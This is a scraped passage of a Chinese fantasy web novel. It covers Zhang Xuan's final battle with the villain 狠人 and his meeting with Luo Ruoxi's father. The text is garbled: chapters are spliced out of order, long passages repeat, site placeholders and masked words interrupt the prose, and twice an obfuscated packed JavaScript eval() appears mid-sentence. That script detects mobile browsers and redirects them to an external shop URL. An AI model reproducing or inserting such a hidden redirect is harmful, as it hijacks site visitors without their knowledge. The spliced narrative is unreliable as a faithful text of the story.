乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十二章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787945|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 